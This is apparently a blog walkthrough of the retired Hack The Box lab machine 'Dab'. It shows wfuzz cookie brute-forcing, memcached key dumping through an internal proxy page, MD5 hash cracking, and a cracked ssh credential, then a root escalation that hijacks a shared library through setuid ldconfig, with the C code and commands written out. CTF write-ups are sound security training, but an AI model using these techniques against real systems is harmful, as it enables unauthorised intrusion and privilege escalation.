This post documents the complete walkthrough of Dab, a retired vulnerable VM created by snowscan, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


Dab is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt
21/tcp   open  ftp     syn-ack ttl 63 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0            8803 Mar 26  2018 dab.jpg
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 20:05:77:1e:73:66:bb:1e:7d:46:0f:65:50:2c:f9:0e (RSA)
|   256 61:ae:15:23:fc:bc:bc:29:13:06:f2:10:e0:0e:da:a0 (ECDSA)
|_  256 2d:35:96:4c:5e:dd:5c:c0:63:f0:dc:86:f1:b1:76:b5 (ED25519)
80/tcp   open  http    syn-ack ttl 63 nginx 1.10.3 (Ubuntu)
| http-methods:
|_  Supported Methods: HEAD OPTIONS GET
|_http-server-header: nginx/1.10.3 (Ubuntu)
| http-title: Login
|_Requested resource was
8080/tcp open  http    syn-ack ttl 63 nginx 1.10.3 (Ubuntu)
| http-methods:
|_  Supported Methods: HEAD OPTIONS GET
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Internal Dev

nmap finds 21/tcp, 22/tcp, 80/tcp and 8080/tcp open. Let’s start with the ftp service since I can login anonymously.

Well, there’s nothing in ftp except for an image.

This is how the image looks like. Duh!

Directory/File Enumeration

Time to move on to the http services, starting with 80/tcp.

Bummer. I’m not going to brute-force something I have no knowledge of. 8080/tcp is next.

This is easier to brute-force. At least I know that I need to introduce a password cookie. :laughing:

wfuzz is the perfect tool for such a job.

# wfuzz -w /usr/share/seclists/Passwords/darkweb2017-top1000.txt -t 20 -b "password=FUZZ" --hs incorrect
* Wfuzz 2.2.11 - The Web Fuzzer                        *

Total requests: 1000

ID	Response   Lines      Word         Chars          Payload    

000211:  C=200     21 L	      48 W	    540 Ch	  "secret"
000852:  C=200     14 L	      29 W	    324 Ch	  "love11"^C
Finishing pending requests...

The value for the password cookie is secret. This is how the site looks like after inserting the password cookie.


Using this page, I was able to enumerate a further local service listening at 11211/tcp: memcached. It’s easy. Any non-listening port will result in a respode code of 500 (INTERAL SERVER ERROR). Again, we’ll use wfuzz for such a job. The file ports.txt contains integers from 1 to 65535.

# wfuzz -w ports.txt -t 20 -b "password=secret" --hc 500 ""
* Wfuzz 2.2.11 - The Web Fuzzer                        *

Total requests: 65535

ID	Response   Lines      Word         Chars          Payload    

000021:  C=200     28 L	      61 W	    627 Ch	  "21"
000022:  C=200     28 L	      55 W	    629 Ch	  "22"
000080:  C=200     40 L	      84 W	   1010 Ch	  "80"
008080:  C=200     40 L	      84 W	   1010 Ch	  "8080"
011211:  C=200     27 L	      52 W	    576 Ch	  "11211"

Total time: 951.6016
Processed Requests: 65535
Filtered Requests: 65529
Requests/sec.: 68.86810

According to Wikipedia,

Memcached (pronunciation: mem-cashed, mem-cash-dee) is a general-purpose distributed memory caching system. It is often used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an external data source (such as a database or API) must be read.

To that end, I wrote a script to extract information from memcached, using curl as the driver.

CMD="[email protected]"

curl -s \
     -b "password=secret" \
     "http://$RHOST:$RPORT/socket?port=$MPORT&cmd=$CMD" \
| sed '/<pre>/,/<\/pre>/!d' \
| sed -e '1d' -e '$d'

Using the memcached command stats slabs, I was able to enumerate the slabs storing the keys in memory.

# ./ stats slabs
STAT 16:chunk_size 2904
STAT 16:chunks_per_page 361
STAT 16:total_pages 1
STAT 16:total_chunks 361
STAT 16:used_chunks 1
STAT 16:free_chunks 360
STAT 16:free_chunks_end 0
STAT 16:mem_requested 2880
STAT 16:get_hits 0
STAT 16:cmd_set 8
STAT 16:delete_hits 0
STAT 16:incr_hits 0
STAT 16:decr_hits 0
STAT 16:cas_hits 0
STAT 16:cas_badval 0
STAT 16:touch_hits 0
STAT 26:chunk_size 27120
STAT 26:chunks_per_page 38
STAT 26:total_pages 1
STAT 26:total_chunks 38
STAT 26:used_chunks 1
STAT 26:free_chunks 37
STAT 26:free_chunks_end 0
STAT 26:mem_requested 24699
STAT 26:get_hits 245025
STAT 26:cmd_set 455
STAT 26:delete_hits 0
STAT 26:incr_hits 0
STAT 26:decr_hits 0
STAT 26:cas_hits 0
STAT 26:cas_badval 0
STAT 26:touch_hits 0
STAT active_slabs 2
STAT total_malloced 2078904

And, using the command stats cachedump <slab_id> 0, I can enumerate all the keys stored in the slab.

Slab 16

# ./ stats cachedump 16 0
ITEM stock [2807 b; 1544660622 s]

Slab 26

# ./ stats cachedump 26 0
ITEM users [24625 b; 1544667379 s]

The users key caught my eye immediately.

The response was a hash map of username as key and the MD5 hash of the password as value. Cool, now I can transform the output as an input compatible for John the Ripper cracking.

./ get users | sed '2!d' > users.txt && sed -e 's/&#34;//g' -e 's/[{}]//g' -e 's/ //g' -e 's/,/\n/g' users.txt > hashes.txt

The transformed output should look like this.


Here’s the fruits of the JtR labor.

# /opt/john/john --format=raw-md5 --show hashes.txt

12 password hashes cracked, 483 left

Low-Privilege Shell

Using hydra to validate the credentials, you’ll discover that the credential (genevieve:Princess1) works for both ftp and ssh.

There you have it. While we are here, user.txt is located at genevieve’s home directory.

Privilege Escalation

The path to privilege escalation is not hard to find; it’s the way to do it that’s harder.

You can see that /usr/bin/myexec is setuid to root. Running it reveals a login prompt, which isn’t difficult to bypass. Just run it with ltrace and the password is shown, like so:

Running ltrace again with the correct password reveals another important clue.

Running ldd reveals the use of a dynamic shared object or library.

Earlier on, I notice that ldconfig and ldconf.real are also setuid to root. Pivoting on that, I found a special place to put our own shared object to bypass the original seclogin() function to do something more malevolent. I also discover a cron job that deletes files created within two minutes in /tmp at every minute. The window of opportunity is one minute. We need to act fast!

With that in mind, let’s go about creating our own shared object with the following code:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void seclogin() {
  puts("Spawning shell...");

Compile the code to a shared object like so.

$ gcc -Wall -fPIC -shared -o seclogin.c

Then run the following command.

cp /tmp; ldconfig; myexec

Boom. We have a root shell.

Root Dance

Getting root.txt is trivial with a root shell.